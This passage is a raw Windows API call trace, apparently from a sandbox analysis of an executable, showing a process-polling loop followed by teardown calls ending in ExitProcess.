wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0247.145] Sleep (dwMilliseconds=0x1) [0247.161] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0247.161] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0247.661] CloseHandle (hObject=0x224) returned 1 [0247.661] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0247.661] Sleep (dwMilliseconds=0x1) [0247.677] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0247.677] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0248.192] CloseHandle (hObject=0x224) returned 1 [0248.192] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0248.193] Sleep (dwMilliseconds=0x1) [0248.208] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0248.208] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0248.723] CloseHandle (hObject=0x224) returned 1 [0248.723] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0248.723] Sleep (dwMilliseconds=0x1) [0248.739] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0248.739] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0249.241] CloseHandle (hObject=0x224) returned 1 [0249.241] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0249.241] Sleep (dwMilliseconds=0x1) [0249.256] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0249.256] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0249.757] CloseHandle (hObject=0x224) returned 1 [0249.757] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0249.757] Sleep (dwMilliseconds=0x1) [0249.771] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0249.771] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0250.287] CloseHandle (hObject=0x224) returned 1 [0250.287] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0250.287] Sleep (dwMilliseconds=0x1) [0250.302] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0250.303] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0250.803] CloseHandle (hObject=0x224) returned 1 [0250.803] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0250.803] Sleep (dwMilliseconds=0x1) [0250.824] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0250.824] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0251.318] CloseHandle (hObject=0x224) returned 1 [0251.318] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0251.319] Sleep (dwMilliseconds=0x1) [0251.334] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0251.334] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0251.853] CloseHandle (hObject=0x224) returned 1 [0251.853] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0251.853] Sleep (dwMilliseconds=0x1) [0251.865] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0251.865] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0252.383] CloseHandle (hObject=0x224) returned 1 [0252.383] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0252.383] Sleep (dwMilliseconds=0x1) [0252.396] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0252.397] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0252.909] CloseHandle (hObject=0x224) returned 1 [0252.910] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0252.910] Sleep (dwMilliseconds=0x1) [0252.913] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0252.913] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0253.427] CloseHandle (hObject=0x224) returned 1 [0253.427] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0253.427] Sleep (dwMilliseconds=0x1) [0253.468] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0253.468] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0253.960] CloseHandle (hObject=0x224) returned 1 [0253.960] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0253.960] Sleep (dwMilliseconds=0x1) [0253.974] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0253.974] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0254.477] CloseHandle (hObject=0x224) returned 1 [0254.477] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 1 [0254.477] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x106ee6c) [0254.477] GetLastError () returned 0x0 [0254.477] SetLastError (dwErrCode=0x0) [0254.477] RtlUnwind (TargetFrame=0x106fca4, TargetIp=0x12763b1, ExceptionRecord=0x106e830, ReturnValue=0x0) [0254.477] GetLastError () returned 0x0 [0254.477] SetLastError (dwErrCode=0x0) [0254.477] GetLastError () returned 0x0 [0254.477] SetLastError (dwErrCode=0x0) [0254.477] GetLastError () returned 0x0 [0254.477] SetLastError (dwErrCode=0x0) [0254.478] GetLastError () returned 0x0 [0254.478] SetLastError (dwErrCode=0x0) [0254.478] GetLastError () returned 0x0 [0254.478] SetLastError (dwErrCode=0x0) [0254.478] GetLastError () returned 0x0 [0254.478] SetLastError (dwErrCode=0x0) [0254.478] GetLastError () returned 0x0 [0254.478] SetLastError (dwErrCode=0x0) [0254.478] GetLastError () returned 0x0 [0254.478] SetLastError (dwErrCode=0x0) [0254.478] GetLastError () returned 0x0 [0254.478] SetLastError (dwErrCode=0x0) [0254.478] GetLastError () returned 0x0 [0254.478] SetLastError (dwErrCode=0x0) [0254.478] GetLastError () returned 0x0 [0254.478] SetLastError (dwErrCode=0x0) [0254.478] GetLastError () returned 0x0 [0254.478] SetLastError (dwErrCode=0x0) [0254.478] GetLastError () returned 0x0 [0254.478] SetLastError (dwErrCode=0x0) [0254.478] GetLastError () returned 0x0 [0254.478] SetLastError (dwErrCode=0x0) [0254.479] PostThreadMessageW (idThread=0x0, Msg=0x12, wParam=0x0, lParam=0x0) returned 0 [0254.479] PeekMessageW (in: lpMsg=0x106fc90, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106fc90) returned 0 [0254.479] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0xa) returned 0xffffffff [0254.479] PostThreadMessageW (idThread=0x0, Msg=0x12, wParam=0x0, lParam=0x0) returned 0 [0254.479] PeekMessageW (in: lpMsg=0x106fc90, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106fc90) returned 0 [0254.479] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0xa) returned 0xffffffff [0254.479] UnhookWindowsHookEx (hhk=0x400fb) returned 1 [0254.480] WSACleanup () returned 0 [0254.481] KillTimer (hWnd=0x0, uIDEvent=0x0) returned 0 [0254.481] DeleteObject (ho=0x3100769) returned 1 [0254.481] DeleteObject (ho=0x20a0778) returned 1 [0254.481] DeleteObject (ho=0x20a077f) returned 1 [0254.481] DeleteObject (ho=0x20a077d) returned 1 [0254.482] DeleteObject (ho=0x20a0780) returned 1 [0254.482] DeleteObject (ho=0x20a077b) returned 1 [0254.482] DeleteObject (ho=0x20a077e) returned 1 [0254.482] DeleteObject (ho=0x20a077a) returned 1 [0254.482] DeleteObject (ho=0x20a077c) returned 1 [0254.482] DeleteObject (ho=0x20a0779) returned 1 [0254.482] DeleteObject (ho=0x20a0777) returned 1 [0254.482] DeleteObject (ho=0x3300770) returned 1 [0254.482] DeleteObject (ho=0x330076f) returned 1 [0254.482] DeleteObject (ho=0x330076e) returned 1 [0254.482] DeleteObject (ho=0x210076b) returned 1 [0254.482] DeleteObject (ho=0x2100782) returned 1 [0254.482] DeleteObject (ho=0x1100784) returned 1 [0254.482] DeleteObject (ho=0x210076c) returned 1 [0254.482] DeleteObject (ho=0x6100767) returned 1 [0254.482] DeleteObject (ho=0x2100781) returned 1 [0254.482] DeleteObject (ho=0x2100771) returned 1 [0254.482] LocalFree (hMem=0x1447950) returned 0x0 [0254.483] LocalFree (hMem=0x140d620) returned 0x0 [0254.483] LocalFree (hMem=0x1406a08) returned 0x0 [0254.483] LocalFree (hMem=0x1407f50) returned 0x0 [0254.483] LocalFree (hMem=0x140d0b0) returned 0x0 [0254.483] GlobalHandle (pMem=0x14035f0) returned 0x2e20004 [0254.483] GlobalUnlock (hMem=0x2e20004) returned 0 [0254.483] LocalFree (hMem=0x140a938) returned 0x0 [0254.484] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x106fc64 | out: phModule=0x106fc64) returned 0 [0254.484] ExitProcess (uExitCode=0x0) Thread: id = 60 os_tid = 0x914